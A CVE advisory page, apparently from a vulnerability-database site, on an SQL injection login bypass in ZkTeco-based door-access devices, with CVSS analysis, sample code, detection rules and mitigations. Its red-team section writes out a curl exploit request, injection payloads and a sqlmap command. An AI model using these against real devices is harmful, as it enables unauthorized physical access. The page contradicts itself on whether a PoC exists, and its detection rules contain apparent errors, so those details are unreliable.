CVE-2023-3938
Executive Summary
CVE-2023-3938 is an SQL Injection vulnerability affecting ZkTeco-based OEM devices, including the ZkTeco ProFace X, Smartec ST-FR043, and Smartec ST-FR041ME. The flaw resides in the authentication mechanism, allowing an unauthenticated attacker to bypass authentication and log in as any user present in the device database. With a CVSS score of 4.6 (Medium), the vulnerability enables unauthorized access but does not directly allow data exfiltration or remote code execution. The vendor has not released a patch, and no public proof-of-concept (PoC) or exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded firmware on physical OEM devices, making supply chain security a concern for organizations deploying these biometric access control systems. The lack of a patch and the OEM nature of the devices mean that end users are dependent on the original equipment manufacturer (ZkTeco) for remediation.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Base Score: 4.6 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
- Privileges Required: None (PR:N) – No authentication is needed to trigger the vulnerability.
- User Interaction: None (UI:N) – The victim does not need to perform any action.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: Low (C:L) – Limited access to user data in the database.
- Integrity Impact: Low (I:L) – The attacker can authenticate as any user, potentially modifying access control settings.
- Availability Impact: None (A:N) – No denial-of-service impact.
Threat Level: Medium. The vulnerability allows authentication bypass but does not provide direct command execution or data exfiltration. However, in the context of physical access control systems, unauthorized authentication could lead to physical security breaches.
Deep Dive & Mechanics
The vulnerability is an SQL Injection in the authentication endpoint of the ZkTeco-based OEM devices. The device’s web interface or API likely accepts user credentials (e.g., username and password) and constructs an SQL query to validate them against the local database. Due to improper neutralization of special elements, an attacker can inject SQL commands into the input fields.
For example, if the authentication logic uses a query like:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
An attacker can supply a username such as admin' OR '1'='1 and a password of ' OR '1'='1, resulting in:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '' OR '1'='1'
This query returns all rows, and the application may treat the first row as a successful authentication, granting the attacker access as the first user in the database (often an admin).
The vulnerability affects the authentication module, not the device’s core operating system. The attacker does not need to be on the same network segment; the device’s web interface is typically accessible over the network.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, a secure implementation would use parameterized queries or prepared statements. For example, in PHP (common in embedded web interfaces), the vulnerable code might look like:
Vulnerable Code (PHP):
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
// authenticate user
}
Patched Code (PHP):
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
// authenticate user
}
The patched version uses prepared statements, which separate SQL logic from data, preventing injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Obtain a vulnerable device (e.g., ZkTeco ProFace X) or use a firmware emulator (e.g., QEMU for ARM/MIPS).
- Connect the device to an isolated network.
- Identify the authentication endpoint (e.g.,
/cgi-bin/authenticateor/login).
Exploitation Steps:
- Send a POST request to the authentication endpoint with injected SQL:
curl -X POST http://<device_ip>/login \ -d "username=admin' OR '1'='1&password=' OR '1'='1" - If successful, the device returns a session token or redirects to the admin panel.
- Use the session to access device settings, user lists, or door control.
Manual SQL Injection Payloads:
admin' --(comment out password check)admin' OR 1=1--' UNION SELECT 1,'admin','admin'--
Automated Tools:
- Use
sqlmapwith a request file:sqlmap -r request.txt --batch --tables
Blue Team (Defensive)
Detection:
- Monitor for unusual SQL characters in authentication requests (e.g.,
',--,OR,UNION). - Enable logging on the device (if available) and review authentication logs for anomalies.
- Use network intrusion detection systems (NIDS) to flag SQL injection patterns.
Mitigation:
- Isolate vulnerable devices on a separate VLAN with strict firewall rules.
- Implement a Web Application Firewall (WAF) in front of the device’s web interface.
- If possible, disable the web interface and use only local (physical) authentication.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/loginor/cgi-bin/authenticatecontaining SQL keywords (OR,UNION,--,'). - Unusual session tokens or cookies after authentication.
- Multiple failed login attempts followed by a successful login with a common username (e.g.,
admin).
- HTTP POST requests to
Host IOCs:
- Unexpected user accounts created or modified in the device database.
- Changes to access control lists or door schedules.
- Log entries showing authentication from unusual IP addresses.
File IOCs:
- Modified configuration files (e.g.,
users.db,config.xml). - Presence of SQL injection payloads in web server logs.
- Modified configuration files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2023_3938_SQL_Injection {
meta:
description = "Detects SQL injection attempts targeting ZkTeco devices"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-3938"
strings:
$sqli1 = /(\%27|')\s*(OR|or)\s*(\%31|1)\s*(\%3D|=)/ nocase
$sqli2 = /(\%27|')\s*(OR|or)\s*(\%27|')\s*(\%3D|=)/ nocase
$sqli3 = /UNION\s+SELECT/i
$sqli4 = /--\s*$/m
condition:
any of ($sqli*)
}
Sigma Rule
title: CVE-2023-3938 SQL Injection Attempt on ZkTeco Devices
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection patterns in HTTP requests to ZkTeco device authentication endpoints
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/login'
- '/cgi-bin/authenticate'
cs-uri-query|re:
- ".*'.*OR.*1.*=.*"
- ".*'.*OR.*'.*=.*"
- ".*UNION.*SELECT.*"
- ".*--.*"
condition: selection
falsepositives:
- Legitimate use of special characters in passwords (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2023-3938 SQL Injection Attempt on ZkTeco Device";
flow:to_server,established;
content:"POST"; http_method;
content:"/login"; http_uri;
pcre:"/(\%27|')\s*(OR|or)\s*(\%31|1)\s*(\%3D|=)/i";
pcre:"/UNION\s+SELECT/i";
sid:1000001;
rev:1;
reference:cve,2023-3938;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Isolate Devices: Place all affected ZkTeco devices on a separate VLAN with strict access controls. Do not expose the web interface to the internet.
- Disable Web Interface: If possible, disable the web-based management interface and use only local (physical) configuration methods.
- Monitor Logs: Enable and review authentication logs for signs of exploitation.
Long-Term Fix:
- Vendor Patch: Contact ZkTeco or the OEM for a firmware update. Since no patch is available, consider replacing the devices with alternatives that have proper input validation.
- WAF Deployment: Deploy a Web Application Firewall (e.g., ModSecurity) in front of the device to filter SQL injection attempts.
- Network Segmentation: Implement network segmentation to limit access to the devices to only authorized administrative hosts.
Workarounds:
- Input Validation: If the device allows custom scripts, implement server-side input validation to reject special characters.
- Rate Limiting: Apply rate limiting on the authentication endpoint to slow down brute-force and injection attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.